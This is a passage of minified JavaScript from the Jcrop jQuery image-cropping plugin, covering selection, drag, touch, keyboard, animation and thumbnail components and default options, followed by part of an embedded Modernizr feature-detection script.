/>").addClass(b.core.opt.css_shades).prependTo(this.core.container).hide(),b.elh=this.core.container.height(),b.elw=this.core.container.width(),b.shades={top:b.createShade(),right:b.createShade(),left:b.createShade(),bottom:b.createShade()},b.attached=!0)},destroy:function(){this.container.remove()},setColor:function(c,d){var e=this;if(c==e.color)return e;this.color=c;var f=b.supportsColorFade();return a.each(e.shades,function(a,b){e.fade&&!d&&f?b.animate({backgroundColor:c},{queue:!1,duration:e.fadeSpeed,easing:e.fadeEasing}):b.css("backgroundColor",c)}),e},setOpacity:function(b,c){var d=this;return b==d.opacity?d:(d.opacity=b,a.each(d.shades,function(a,e){!d.fade||c?e.css({opacity:b}):e.animate({opacity:b},{queue:!1,duration:d.fadeSpeed,easing:d.fadeEasing})}),d)},createShade:function(){return a("<div />").css({position:"absolute",backgroundColor:this.color,opacity:this.opacity}).appendTo(this.container)},refresh:function(a){var b=this.core,c=this.shades;this.setColor(a.bgColor?a.bgColor:this.core.opt.bgColor),this.setOpacity(a.bgOpacity?a.bgOpacity:this.core.opt.bgOpacity),this.elh=b.container.height(),this.elw=b.container.width(),c.right.css("height",this.elh+"px"),c.left.css("height",this.elh+"px")},filter:function(a,b,c){if(!c.active)return a;var d=this,e=d.shades;return e.top.css({left:Math.round(a.x)+"px",width:Math.round(a.w)+"px",height:Math.round(a.y)+"px"}),e.bottom.css({top:Math.round(a.y2)+"px",left:Math.round(a.x)+"px",width:Math.round(a.w)+"px",height:d.elh-Math.round(a.y2)+"px"}),e.right.css({left:Math.round(a.x2)+"px",width:d.elw-Math.round(a.x2)+"px"}),e.left.css({width:Math.round(a.x)+"px"}),d.visible||(d.container.show(),d.visible=!0),a}}),b.registerFilter("shader",l);var m=function(a){this.stage=a,this.core=a.core,this.cloneStagePosition()};m.prototype={cloneStagePosition:function(){var a=this.stage;this.angle=a.angle,this.scale=a.scale,this.offset=a.offset},getElement:function(){var b=this.stage;return a("<div />").css({position:"absolute",top:b.offset[0]+"px",left:b.offset[1]+"px",width:b.angle+"px",height:b.scale+"px"})},animate:function(a){var b=this;this.scale=this.stage.boundScale(this.scale),b.stage.triggerEvent("croprotstart"),b.getElement().animate({top:b.offset[0]+"px",left:b.offset[1]+"px",width:b.angle+"px",height:b.scale+"px"},{easing:b.core.opt.animEasing,duration:b.core.opt.animDuration,complete:function(){b.stage.triggerEvent("croprotend"),"function"==typeof a&&a.call(this)},progress:function(a){var c,d={},e=a.tweens;for(c=0;c<e.length;c++)d[e[c].prop]=e[c].now;b.stage.setAngle(d.width).setScale(d.height).setOffset(d.top,d.left).redraw()}})}},b.stage.Canvas.prototype.getAnimator=function(){return new m(this)},b.registerComponent("CanvasAnimator",m);var o=function(a){this.selection=a,this.core=a.core};o.prototype={getElement:function(){var b=this.selection.get();return a("<div />").css({position:"absolute",top:b.y+"px",left:b.x+"px",width:b.w+"px",height:b.h+"px"})},animate:function(a,b,c,d,e){var f=this;f.selection.allowResize(!1),f.getElement().animate({top:b+"px",left:a+"px",width:c+"px",height:d+"px"},{easing:f.core.opt.animEasing,duration:f.core.opt.animDuration,complete:function(){f.selection.allowResize(!0),e&&e.call(this)},progress:function(a){var b,c={},d=a.tweens;for(b=0;b<d.length;b++)c[d[b].prop]=d[b].now;var e={x:parseInt(c.left),y:parseInt(c.top),w:parseInt(c.width),h:parseInt(c.height)};e.x2=e.x+e.w,e.y2=e.y+e.h,f.selection.updateRaw(e,"se")}})}},b.registerComponent("Animator",o);var p=function(a,b,c){var d=this;d.x=a.pageX,d.y=a.pageY,d.selection=b,d.eventTarget=b.core.opt.dragEventTarget,d.orig=b.get(),b.callFilterFunction("refresh");var e=b.core.container.position();d.elx=e.left,d.ely=e.top,d.offsetx=0,d.offsety=0,d.ord=c,d.opposite=d.getOppositeCornerOffset(),d.initEvents(a)};p.prototype={getOppositeCornerOffset:function(){var a=this.orig,b=this.x-this.elx-a.x,c=this.y-this.ely-a.y;switch(this.ord){case"nw":case"w":return[a.w-b,a.h-c];case"sw":return[a.w-b,-c];case"se":case"s":case"e":return[-b,-c];case"ne":case"n":return[-b,a.h-c]}return[null,null]},initEvents:function(b){a(this.eventTarget).on("mousemove.jcrop",this.createDragHandler()).on("mouseup.jcrop",this.createStopHandler())},dragEvent:function(a){this.offsetx=a.pageX-this.x,this.offsety=a.pageY-this.y,this.selection.updateRaw(this.getBox(),this.ord)},endDragEvent:function(a){var b=this.selection;b.core.container.removeClass("jcrop-dragging"),b.element.trigger("cropend",[b,b.core.unscale(b.get())]),b.focus()},createStopHandler:function(){var b=this;return function(c){return a(b.eventTarget).off(".jcrop"),b.endDragEvent(c),!1}},createDragHandler:function(){var a=this;return function(b){return a.dragEvent(b),!1}},update:function(a,b){var c=this;c.offsetx=a-c.x,c.offsety=b-c.y},resultWrap:function(a){var b={x:Math.min(a[0],a[2]),y:Math.min(a[1],a[3]),x2:Math.max(a[0],a[2]),y2:Math.max(a[1],a[3])};return b.w=b.x2-b.x,b.h=b.y2-b.y,b},getBox:function(){var a=this,b=a.orig,c={x2:b.x+b.w,y2:b.y+b.h};switch(a.ord){case"n":return a.resultWrap([b.x,a.offsety+b.y,c.x2,c.y2]);case"s":return a.resultWrap([b.x,b.y,c.x2,a.offsety+c.y2]);case"e":return a.resultWrap([b.x,b.y,a.offsetx+c.x2,c.y2]);case"w":return a.resultWrap([b.x+a.offsetx,b.y,c.x2,c.y2]);case"sw":return a.resultWrap([a.offsetx+b.x,b.y,c.x2,a.offsety+c.y2]);case"se":return a.resultWrap([b.x,b.y,a.offsetx+c.x2,a.offsety+c.y2]);case"ne":return a.resultWrap([b.x,a.offsety+b.y,a.offsetx+c.x2,c.y2]);case"nw":return a.resultWrap([a.offsetx+b.x,a.offsety+b.y,c.x2,c.y2]);case"move":return c.nx=b.x+a.offsetx,c.ny=b.y+a.offsety,a.resultWrap([c.nx,c.ny,c.nx+b.w,c.ny+b.h])}}},b.registerComponent("DragState",p);var q=function(a){this.core=a};q.prototype={on:function(b,c){a(this).on(b,c)},off:function(b){a(this).off(b)},trigger:function(b){a(this).trigger(b)}},b.registerComponent("EventManager",q);var r=function(a,b,c){this.src=a,b||(b=new Image),this.element=b,this.callback=c,this.load()};a.extend(r,{attach:function(a,b){return new r(a.src,a,b)},prototype:{getDimensions:function(){var a=this.element;return a.naturalWidth?[a.naturalWidth,a.naturalHeight]:a.width?[a.width,a.height]:null},fireCallback:function(){this.element.onload=null,"function"==typeof this.callback&&this.callback.apply(this,this.getDimensions())},isLoaded:function(){return this.element.complete},load:function(){var a=this,b=a.element;b.src=a.src,a.isLoaded()?a.fireCallback():a.element.onload=function(b){a.fireCallback()}}}}),b.registerComponent("ImageLoader",r);var s=function(a){this.core=a,this.init()};a.extend(s,{support:function(){return"ontouchstart"in window||window.DocumentTouch&&document instanceof DocumentTouch?!0:void 0},prototype:{init:function(){var b=this,c=a.Jcrop.component.DragState.prototype;c.touch||(b.initEvents(),b.shimDragState(),b.shimStageDrag(),c.touch=!0)},shimDragState:function(){var b=this;a.Jcrop.component.DragState.prototype.initEvents=function(c){"touch"==c.type.substr(0,5)?a(this.eventTarget).on("touchmove.jcrop.jcrop-touch",b.dragWrap(this.createDragHandler())).on("touchend.jcrop.jcrop-touch",this.createStopHandler()):a(this.eventTarget).on("mousemove.jcrop",this.createDragHandler()).on("mouseup.jcrop",this.createStopHandler())}},shimStageDrag:function(){this.core.container.addClass("jcrop-touch").on("touchstart.jcrop.jcrop-stage",this.dragWrap(this.core.ui.manager.startDragHandler()))},dragWrap:function(a){return function(b){return b.preventDefault(),b.stopPropagation(),"touch"==b.type.substr(0,5)?(b.pageX=b.originalEvent.changedTouches[0].pageX,b.pageY=b.originalEvent.changedTouches[0].pageY,a(b)):!1}},initEvents:function(){var a=this,b=a.core;b.container.on("touchstart.jcrop.jcrop-touch","."+b.opt.css_drag,a.dragWrap(b.startDrag()))}}}),b.registerComponent("Touch",s);var t=function(a){this.core=a,this.init()};a.extend(t,{defaults:{eventName:"keydown.jcrop",passthru:[9],debug:!1},prototype:{init:function(){a.extend(this,t.defaults),this.enable()},disable:function(){this.core.container.off(this.eventName)},enable:function(){var b=this,c=b.core;c.container.on(b.eventName,function(d){var e=d.shiftKey?16:2;if(a.inArray(d.keyCode,b.passthru)>=0)return!0;switch(d.keyCode){case 37:c.nudge(-e,0);break;case 38:c.nudge(0,-e);break;case 39:c.nudge(e,0);break;case 40:c.nudge(0,e);break;case 46:case 8:return c.requestDelete(),!1;default:b.debug&&console.log("keycode: "+d.keyCode)}d.metaKey||d.ctrlKey||d.preventDefault()})}}}),b.registerComponent("Keyboard",t);var u=function(){};a.extend(u,{defaults:{minSize:[8,8],maxSize:[0,0],aspectRatio:0,edge:{n:0,s:0,e:0,w:0},bgColor:null,bgOpacity:null,last:null,state:null,active:!0,linked:!0,canDelete:!0,canDrag:!0,canResize:!0,canSelect:!0},prototype:{init:function(a){this.core=a,this.startup(),this.linked=this.core.opt.linked,this.attach(),this.setOptions(this.core.opt),a.container.trigger("cropcreate",[this])},attach:function(){},startup:function(){var b=this,c=b.core.opt;a.extend(b,u.defaults),b.filter=b.core.getDefaultFilters(),b.element=a("<div />").addClass(c.css_selection).data({selection:b}),b.frame=a("<button />").addClass(c.css_button).data("ord","move").attr("type","button"),b.element.append(b.frame).appendTo(b.core.container),b.core.opt.is_msie&&b.frame.css({opacity:0,backgroundColor:"white"}),b.insertElements(),b.frame.on("focus.jcrop",function(a){b.core.setSelection(b),b.element.trigger("cropfocus",b),b.element.addClass("jcrop-focus")}).on("blur.jcrop",function(a){b.element.removeClass("jcrop-focus"),b.element.trigger("cropblur",b)})},propagate:["canDelete","canDrag","canResize","canSelect","minSize","maxSize","aspectRatio","edge"],setOptions:function(a){return b.propagate(this.propagate,a,this),this.refresh(),this},refresh:function(){this.allowResize(),this.allowDrag(),this.allowSelect(),this.callFilterFunction("refresh"),this.updateRaw(this.get(),"se")},callFilterFunction:function(a,b){for(var c=0;c<this.filter.length;c++)this.filter[c][a]&&this.filter[c][a](this);return this},addFilter:function(a){a.core=this.core,this.hasFilter(a)||(this.filter.push(a),this.sortFilters(),a.init&&a.init(),this.refresh())},hasFilter:function(a){var b,c=this.filter;for(b=0;b<c.length;b++)if(c[b]===a)return!0},sortFilters:function(){this.filter.sort(function(a,b){return a.priority-b.priority})},clearFilters:function(){for(var a,b=this.filter,a=0;a<b.length;a++)b[a].destroy&&b[a].destroy();this.filter=[]},removeFilter:function(a){for(var b,c=this.filter,d=[],b=0;b<c.length;b++)c[b].tag&&c[b].tag==a||a===c[b]?c[b].destroy&&c[b].destroy():d.push(c[b]);this.filter=d},runFilters:function(a,b){for(var c=0;c<this.filter.length;c++)a=this.filter[c].filter(a,b,this);return a},endDrag:function(){this.state&&(a(document.body).off(".jcrop"),this.focus(),this.state=null)},startDrag:function(c,d){var e=this;e.core;return d=d||a(c.target).data("ord"),this.focus(),"move"==d&&e.element.hasClass(e.core.opt.css_nodrag)?!1:(this.state=new b.component.DragState(c,this,d),!1)},allowSelect:function(a){return void 0===a&&(a=this.canSelect),a&&this.canSelect?this.frame.attr("disabled",!1):this.frame.attr("disabled","disabled"),this},allowDrag:function(a){var b=this,c=b.core.opt;return void 0==a&&(a=b.canDrag),a&&b.canDrag?b.element.removeClass(c.css_nodrag):b.element.addClass(c.css_nodrag),this},allowResize:function(a){var b=this,c=b.core.opt;return void 0==a&&(a=b.canResize),a&&b.canResize?b.element.removeClass(c.css_noresize):b.element.addClass(c.css_noresize),this},remove:function(){this.element.trigger("cropremove",this),this.element.remove()},toBack:function(){this.active=!1,this.element.removeClass("jcrop-current jcrop-focus")},toFront:function(){this.active=!0,this.element.addClass("jcrop-current"),this.callFilterFunction("refresh"),this.refresh()},redraw:function(a){return this.moveTo(a.x,a.y),this.resize(a.w,a.h),this.last=a,this},update:function(a,b){return this.updateRaw(this.core.scale(a),b)},updateRaw:function(a,b){return a=this.runFilters(a,b),this.redraw(a),this.element.trigger("cropmove",[this,this.core.unscale(a)]),this},animateTo:function(a,c){var d=new b.component.Animator(this),e=this.core.scale(b.wrapFromXywh(a));d.animate(e.x,e.y,e.w,e.h,c)},center:function(a){var b=this.get(),c=this.core,d=c.container.width(),e=c.container.height(),f=[(d-b.w)/2,(e-b.h)/2,b.w,b.h];return this[a?"setSelect":"animateTo"](f)},createElement:function(b,c){return a("<div />").addClass(b+" ord-"+c).data("ord",c)},moveTo:function(a,b){this.element.css({top:b+"px",left:a+"px"})},blur:function(){return this.element.blur(),this},focus:function(){return this.core.setSelection(this),this.frame.focus(),this},resize:function(a,b){this.element.css({width:a+"px",height:b+"px"})},get:function(){var a=this.element,b=a.position(),c=a.width(),d=a.height(),e={x:b.left,y:b.top};return e.x2=e.x+c,e.y2=e.y+d,e.w=c,e.h=d,e},insertElements:function(){var a,b=this,c=(b.core,b.element),d=b.core.opt,e=d.borders,f=d.handles,g=d.dragbars;for(a=0;a<g.length;a++)c.append(b.createElement(d.css_dragbars,g[a]));for(a=0;a<f.length;a++)c.append(b.createElement(d.css_handles,f[a]));for(a=0;a<e.length;a++)c.append(b.createElement(d.css_borders,e[a]))}}}),b.registerComponent("Selection",u);var v=function(b,c){a.extend(this,v.defaults,c||{}),this.manager=b,this.core=b.core};v.defaults={offset:[-8,-8],active:!0,minsize:[20,20]},a.extend(v.prototype,{start:function(c){var d=this.core;if(d.opt.allowSelect){if(d.opt.multi&&d.opt.multiMax&&d.ui.multi.length>=d.opt.multiMax)return!1;var e=a(c.currentTarget).offset(),f=c.pageX-e.left+this.offset[0],g=c.pageY-e.top+this.offset[1],h=d.ui.multi;if(!d.opt.multi)if(d.opt.multiCleanup){for(var i=0;i<h.length;i++)h[i].remove();d.ui.multi=[]}else d.removeSelection(d.ui.selection);d.container.addClass("jcrop-dragging");var j=d.newSelection().updateRaw(b.wrapFromXywh([f,g,1,1]));return j.element.trigger("cropstart",[j,this.core.unscale(j.get())]),j.startDrag(c,"se")}},end:function(a,b){this.drag(a,b);var c=this.sel.get();this.core.container.removeClass("jcrop-dragging"),c.w<this.minsize[0]||c.h<this.minsize[1]?this.core.requestDelete():this.sel.focus()}}),b.registerComponent("StageDrag",v);var w=function(a){this.core=a,this.ui=a.ui,this.init()};a.extend(w.prototype,{init:function(){this.setupEvents(),this.dragger=new v(this)},tellConfigUpdate:function(a){for(var b=0,c=this.ui.multi,d=c.length;d>b;b++)c[b].setOptions&&(c[b].linked||this.core.opt.linkCurrent&&c[b]==this.ui.selection)&&c[b].setOptions(a)},startDragHandler:function(){var a=this;return function(b){return!b.button||a.core.opt.is_ie_lt9?a.dragger.start(b):void 0}},removeEvents:function(){this.core.event.off(".jcrop-stage"),this.core.container.off(".jcrop-stage")},shimLegacyHandlers:function(b){var c,d=this.core;a.each(d.opt.legacyHandlers,function(a,e){a in b&&(c=b[a],d.container.off(".jcrop-"+a).on(e+".jcrop.jcrop-"+a,function(a,b,e){c.call(d,e)}),delete b[a])})},setupEvents:function(){var a=this,b=a.core;b.event.on("configupdate.jcrop-stage",function(c){a.shimLegacyHandlers(b.opt),a.tellConfigUpdate(b.opt),b.container.trigger("cropconfig",[b,b.opt])}),this.core.container.on("mousedown.jcrop.jcrop-stage",this.startDragHandler())}}),b.registerComponent("StageManager",w);var x=function(){};a.extend(x,{defaults:{selection:null,fading:!0,fadeDelay:1e3,fadeDuration:1e3,autoHide:!1,width:80,height:80,_hiding:null},prototype:{recopyCanvas:function(){var a=this.core.ui.stage,b=a.context;this.context.putImageData(b.getImageData(0,0,a.canvas.width,a.canvas.height),0,0)},init:function(b,c){var d=this;this.core=b,a.extend(this,x.defaults,c),d.initEvents(),d.refresh(),d.insertElements(),d.selection?(d.renderSelection(d.selection),d.selectionTarget=d.selection.element[0]):d.core.ui.selection&&d.renderSelection(d.core.ui.selection),d.core.ui.stage.canvas&&(d.context=d.preview[0].getContext("2d"),d.core.container.on("cropredraw",function(a){d.recopyCanvas(),d.refresh()}))},updateImage:function(b){return this.preview.remove(),this.preview=a(a.Jcrop.imageClone(b)),this.element.append(this.preview),this.refresh(),this},insertElements:function(){this.preview=a(a.Jcrop.imageClone(this.core.ui.stage.imgsrc)),this.element=a("<div />").addClass("jcrop-thumb").width(this.width).height(this.height).append(this.preview).appendTo(this.core.container)},resize:function(a,b){this.width=a,this.height=b,this.element.width(a).height(b),this.renderCoords(this.last)},refresh:function(){this.cw=this.core.opt.xscale*this.core.container.width(),this.ch=this.core.opt.yscale*this.core.container.height(),this.last&&this.renderCoords(this.last)},renderCoords:function(a){var b=this.width/a.w,c=this.height/a.h;return this.preview.css({width:Math.round(b*this.cw)+"px",height:Math.round(c*this.ch)+"px",marginLeft:"-"+Math.round(b*a.x)+"px",marginTop:"-"+Math.round(c*a.y)+"px"}),this.last=a,this},renderSelection:function(a){return this.renderCoords(a.core.unscale(a.get()))},selectionStart:function(a){this.renderSelection(a)},show:function(){this._hiding&&clearTimeout(this._hiding),this.fading?this.element.stop().animate({opacity:1},{duration:80,queue:!1}):this.element.stop().css({opacity:1})},hide:function(){var a=this;a.fading?a._hiding=setTimeout(function(){a._hiding=null,a.element.stop().animate({opacity:0},{duration:a.fadeDuration,queue:!1})},a.fadeDelay):a.element.hide()},initEvents:function(){var a=this;a.core.container.on("croprotstart croprotend cropimage cropstart cropmove cropend",function(b,c,d){if(a.selectionTarget&&a.selectionTarget!==b.target)return!1;switch(b.type){case"cropimage":a.updateImage(d);break;case"cropstart":a.selectionStart(c);case"croprotstart":a.show();break;case"cropend":a.renderCoords(d);case"croprotend":a.autoHide&&a.hide();break;case"cropmove":a.renderCoords(d)}})}}}),b.registerComponent("Thumbnailer",x);var y=function(){};y.prototype={init:function(b,c,d){c||(c=b.container),this.$btn=a(c),this.$targ=a(c),this.core=b,this.$btn.addClass("dialdrag").on("mousedown.dialdrag",this.mousedown()).data("dialdrag",this),a.isFunction(d)||(d=function(){}),this.callback=d,this.ondone=d},remove:function(){return this.$btn.removeClass("dialdrag").off(".dialdrag").data("dialdrag",null),this},setTarget:function(b){return this.$targ=a(b),this},getOffset:function(){var a=this.$targ,b=a.offset();return[b.left+a.width()/2,b.top+a.height()/2]},relMouse:function(a){var b=a.pageX-this.offset[0],c=a.pageY-this.offset[1],d=Math.atan2(c,b)*(180/Math.PI),e=Math.sqrt(Math.pow(b,2)+Math.pow(c,2));return[b,c,d,e]},mousedown:function(){function b(b){a(window).off(".dialdrag"),d.ondone.call(d,d.relMouse(b)),d.core.container.trigger("croprotend")}function c(a){d.callback.call(d,d.relMouse(a))}var d=this;return function(e){d.offset=d.getOffset();var f=d.relMouse(e);return d.angleOffset=-d.core.ui.stage.angle+f[2],d.distOffset=f[3],d.dragOffset=[f[0],f[1]],d.core.container.trigger("croprotstart"),a(window).on("mousemove.dialdrag",c).on("mouseup.dialdrag",b),d.callback.call(d,d.relMouse(e)),!1}}},b.registerComponent("DialDrag",y),b.defaults={edge:{n:0,s:0,e:0,w:0},setSelect:null,linked:!0,linkCurrent:!0,canDelete:!0,canSelect:!0,canDrag:!0,canResize:!0,eventManagerComponent:b.component.EventManager,keyboardComponent:b.component.Keyboard,dragstateComponent:b.component.DragState,stagemanagerComponent:b.component.StageManager,animatorComponent:b.component.Animator,selectionComponent:b.component.Selection,stageConstructor:b.stageConstructor,allowSelect:!0,multi:!1,multiMax:!1,multiCleanup:!0,animation:!0,animEasing:"swing",animDuration:400,fading:!0,fadeDuration:300,fadeEasing:"swing",bgColor:"black",bgOpacity:.5,applyFilters:["constrain","extent","backoff","ratio","shader","round"],borders:["e","w","s","n"],handles:["n","s","e","w","sw","ne","nw","se"],dragbars:["n","e","w","s"],dragEventTarget:window,xscale:1,yscale:1,boxWidth:null,boxHeight:null,css_nodrag:"jcrop-nodrag",css_drag:"jcrop-drag",css_container:"jcrop-active",css_shades:"jcrop-shades",css_selection:"jcrop-selection",css_borders:"jcrop-border",css_handles:"jcrop-handle jcrop-drag",css_button:"jcrop-box jcrop-drag",css_noresize:"jcrop-noresize",css_dragbars:"jcrop-dragbar jcrop-drag",legacyHandlers:{onChange:"cropmove",onSelect:"cropend"}},a.extend(b.prototype,{init:function(){this.event=new this.opt.eventManagerComponent(this),this.ui.keyboard=new this.opt.keyboardComponent(this),this.ui.manager=new this.opt.stagemanagerComponent(this),this.applyFilters(),a.Jcrop.supportsTouch&&new a.Jcrop.component.Touch(this),this.initEvents()},applySizeConstraints:function(){var c=this.opt,d=this.opt.imgsrc;if(d){var e=d.naturalWidth||d.width,f=d.naturalHeight||d.height,g=c.boxWidth||e,h=c.boxHeight||f;if(d&&(e>g||f>h)){var i=b.getLargestBox(e/f,g,h);a(d).width(i[0]).height(i[1]),this.resizeContainer(i[0],i[1]),this.opt.xscale=e/i[0],this.opt.yscale=f/i[1]}}if(this.opt.trueSize){var j=this.opt.trueSize[0],k=this.opt.trueSize[1],l=this.getContainerSize();this.opt.xscale=j/l[0],this.opt.yscale=k/l[1]}},initComponent:function(a){if(b.component[a]){var c=Array.prototype.slice.call(arguments),d=new b.component[a];return c.shift(),c.unshift(this),d.init.apply(d,c),d}},setOptions:function(b,c){return a.isPlainObject(b)||(b={}),a.extend(this.opt,b),this.opt.setSelect&&(this.ui.multi.length||this.newSelection(),this.setSelect(this.opt.setSelect),this.opt.setSelect=null),this.event.trigger("configupdate"),this},destroy:function(){this.opt.imgsrc?(this.container.before(this.opt.imgsrc),this.container.remove(),a(this.opt.imgsrc).removeData("Jcrop").show()):this.container.remove()},applyFilters:function(){for(var b,c=0,d=this.opt.applyFilters,e=d.length;e>c;c++)a.Jcrop.filter[d[c]]&&(b=new a.Jcrop.filter[d[c]]),b.core=this,b.init&&b.init(),this.filter[d[c]]=b},getDefaultFilters:function(){for(var a=[],b=0,c=this.opt.applyFilters,d=c.length;d>b;b++)this.filter.hasOwnProperty(c[b])&&a.push(this.filter[c[b]]);return a.sort(function(a,b){return a.priority-b.priority}),a},setSelection:function(a){for(var b=this.ui.multi,c=[],d=0;d<b.length;d++)b[d]!==a&&c.push(b[d]),b[d].toBack();return c.unshift(a),this.ui.multi=c,this.ui.selection=a,a.toFront(),a},getSelection:function(a){var b=this.ui.selection.get();return b},newSelection:function(a){return a||(a=new this.opt.selectionComponent),a.init(this),this.setSelection(a),a},hasSelection:function(a){for(var b=0;b<this.ui.multi;b++)if(a===this.ui.multi[b])return!0},removeSelection:function(a){for(var b,c=[],d=this.ui.multi,b=0;b<d.length;b++)a!==d[b]?c.push(d[b]):d[b].remove();return this.ui.multi=c},addFilter:function(a){for(var b=0,c=this.ui.multi,d=c.length;d>b;b++)c[b].addFilter(a);return this},removeFilter:function(a){for(var b=0,c=this.ui.multi,d=c.length;d>b;b++)c[b].removeFilter(a);return this},blur:function(){return this.ui.selection.blur(),this},focus:function(){return this.ui.selection.focus(),this},initEvents:function(){var a=this;a.container.on("selectstart",function(a){return!1}).on("mousedown","."+a.opt.css_drag,a.startDrag())},maxSelect:function(){this.setSelect([0,0,this.elw,this.elh])},nudge:function(a,b){var c=this.ui.selection,d=c.get();d.x+=a,d.x2+=a,d.y+=b,d.y2+=b,d.x<0?(d.x2=d.w,d.x=0):d.x2>this.elw&&(d.x2=this.elw,d.x=d.x2-d.w),d.y<0?(d.y2=d.h,d.y=0):d.y2>this.elh&&(d.y2=this.elh,d.y=d.y2-d.h),c.element.trigger("cropstart",[c,this.unscale(d)]),c.updateRaw(d,"move"),c.element.trigger("cropend",[c,this.unscale(d)])},refresh:function(){for(var a=0,b=this.ui.multi,c=b.length;c>a;a++)b[a].refresh()},blurAll:function(){for(var a=this.ui.multi,b=0;b<a.length;b++)a[b]!==sel&&n.push(a[b]),a[b].toBack()},scale:function(a){var b=this.opt.xscale,c=this.opt.yscale;return{x:a.x/b,y:a.y/c,x2:a.x2/b,y2:a.y2/c,
w:a.w/b,h:a.h/c}},unscale:function(a){var b=this.opt.xscale,c=this.opt.yscale;return{x:a.x*b,y:a.y*c,x2:a.x2*b,y2:a.y2*c,w:a.w*b,h:a.h*c}},requestDelete:function(){return this.ui.multi.length>1&&this.ui.selection.canDelete?this.deleteSelection():void 0},deleteSelection:function(){this.ui.selection&&(this.removeSelection(this.ui.selection),this.ui.multi.length&&this.ui.multi[0].focus(),this.ui.selection.refresh())},animateTo:function(a){return this.ui.selection&&this.ui.selection.animateTo(a),this},setSelect:function(a){return this.ui.selection&&this.ui.selection.update(b.wrapFromXywh(a)),this},startDrag:function(){var b=this;return function(c){var d=a(c.target),e=d.closest("."+b.opt.css_selection).data("selection"),f=d.data("ord");return b.container.trigger("cropstart",[e,b.unscale(e.get())]),e.startDrag(c,f),!1}},getContainerSize:function(){return[this.container.width(),this.container.height()]},resizeContainer:function(a,b){this.container.width(a).height(b),this.refresh()},setImage:function(b,c){var d=this,e=d.opt.imgsrc;return e?void new a.Jcrop.component.ImageLoader(b,null,function(f,g){d.resizeContainer(f,g),e.src=b,a(e).width(f).height(g),d.applySizeConstraints(),d.refresh(),d.container.trigger("cropimage",[d,e]),"function"==typeof c&&c.call(d,f,g)}):!1},update:function(a){this.ui.selection&&this.ui.selection.update(a)}}),a.fn.Jcrop=function(b,c){b=b||{};var d=this.eq(0).data("Jcrop"),e=Array.prototype.slice.call(arguments);return"api"==b?d:d&&"string"==typeof b?d[b]?(e.shift(),d[b].apply(d,e),d):!1:void this.each(function(){var d=a(this),e=d.data("Jcrop");return e?e.setOptions(b):(b.stageConstructor||(b.stageConstructor=a.Jcrop.stageConstructor),b.stageConstructor(this,b,function(b,e){var f=e.setSelect;f&&delete e.setSelect;var g=a.Jcrop.attach(b.element,e);"function"==typeof b.attach&&b.attach(g),d.data("Jcrop",g),f&&(g.newSelection(),g.setSelect(f)),"function"==typeof c&&c.call(g)})),this})};var z=function(a,b,c){function d(a){r.cssText=a}function e(a,b){return typeof a===b}function f(a,b){return!!~(""+a).indexOf(b)}function g(a,b){for(var d in a){var e=a[d];if(!f(e,"-")&&r[e]!==c)return"pfx"==b?e:!0}return!1}function h(a,b,d){for(var f in a){var g=b[a[f]];if(g!==c)return d===!1?a[f]:e(g,"function")?g.bind(d||b):g}return!1}function i(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),f=(a+" "+v.join(d+" ")+d).split(" ");return e(b,"string")||e(b,"undefined")?g(f,b):(f=(a+" "+w.join(d+" ")+d).split(" "),h(f,b,c))}var j,k,l,m="2.7.1",n={},o=b.documentElement,p="modernizr",q=b.createElement(p),r=q.style,s={}.toString,t=" -webkit- -moz- -o- -ms- ".split(" "),u="Webkit Moz O ms",v=u.split(" "),w=u.toLowerCase().split(" "),x={svg:"http://www.w3.org/2000/svg"},y={},z=[],A=z.slice,B=function(a,c,d,e){var f,g,h,i,j=b.createElement("div"),k=b.body,l=k||b.createElement("body");if(parseInt(d,10))for(;d--;)h=b.createElement("div"),h.id=e?e[d]:p+(d+1),j.appendChild(h);return f=["&#173;",'<style id="s',p,'">',a,"</style>"].join(""),j.id=p,(k?j:l).innerHTML+=f,l.appendChild(j),k||(l.style.background="",l.style.overflow="hidden",i=o.style.overflow,o.style.overflow="hidden",o.appendChild(l)),g=c(j,a),k?j.parentNode.removeChild(j):(l.parentNode.removeChild(l),o.style.overflow=i),!!g},C=function(){function a(a,f){f=f||b.createElement(d[a]||"div"),a="on"+a;var g=a in f;return g||(f.setAttribute||(f=b.createElement("div")),f.setAttribute&&f.removeAttribute&&(f.setAttribute(a,""),g=e(f[a],"function"),e(f[a],"undefined")||(f[a]=c),f.removeAttribute(a))),f=null,g}var d={select:"input",change:"input",submit:"form",reset:"form",error:"img",load:"img",abort:"img"};return a}(),D={}.hasOwnProperty;l=e(D,"undefined")||e(D.call,"undefined")?function(a,b){return b in a&&e(a.constructor.prototype[b],"undefined")}:function(a,b){return D.call(a,b)},Function.prototype.bind||(Function.prototype.bind=function(a){var b=this;if("function"!=typeof b)throw new TypeError;var c=A.call(arguments,1),d=function(){if(this instanceof d){var e=function(){};e.prototype=b.prototype;var f=new e,g=b.apply(f,c.concat(A.call(arguments)));return Object(g)===g?g:f}return b.apply(a,c.concat(A.call(arguments)))};return d}),y.canvas=function(){var a=b.createElement("canvas");return!(!a.getContext||!a.getContext("2d"))},y.canvastext=function(){return!(!n.canvas||!e(b.createElement("canvas").getContext("2d").fillText,"function"))},y.touch=function(){var c;return"ontouchstart"in a||a.DocumentTouch&&b instanceof DocumentTouch?c=!0:B(["@media (",t.join("touch-enabled),("),p,")","{#modernizr{top:9px;position:absolute}}"].join(""),function(a){c=9===a.offsetTop}),c},y.draganddrop=function(){var a=b.createElement("div");return"draggable"in a||"ondragstart"in a&&"ondrop"in a},y.csstransforms=function(){return!!i("transform")},y.svg=function(){return!!b.createElementNS&&!!b.createElementNS(x.svg,"svg").createSVGRect},y.inlinesvg=function(){var a=b.createElement("div");return a.innerHTML="<svg/>",(a.firstChild&&a.firstChild.namespaceURI)==x.svg},y.svgclippaths=function(){return!!b.createElementNS&&/SVGClipPath/.test(s.call(b.createElementNS(x.svg,"clipPath")))};for(var E in y)l(y,E)&&(k=E.toLowerCase(),n[k]=y[E](),z.push((n[k]?"":"no-")+k));return n.addTest=function(a,b){if("object"==typeof a)for(var d in a)l(a,d)&&n.addTest(d,a[d]);else{if(a=a.toLowerCase(),n[a]!==c)return n;b="function"==typeof b?b():b,"undefined"!=typeof enableClasses&&enableClasses&&(o.className+=" "+(b?"":"no-")+a),n[a]=b}return n},d(""),q=j=null,n._version=m,n._prefixes=t,n._domPrefixes=w,n._cssomPrefixes=v,n.hasEvent=C,n.testProp=function(a){return g([a])},n.testAllProps=i,n.testStyles=B,n}(window,window.document);!function(){var a=new Image;a.onerror=function(){z.addTest("datauri",function(){return!1})},a.onload=function(){z.addTest("datauri",function(){return 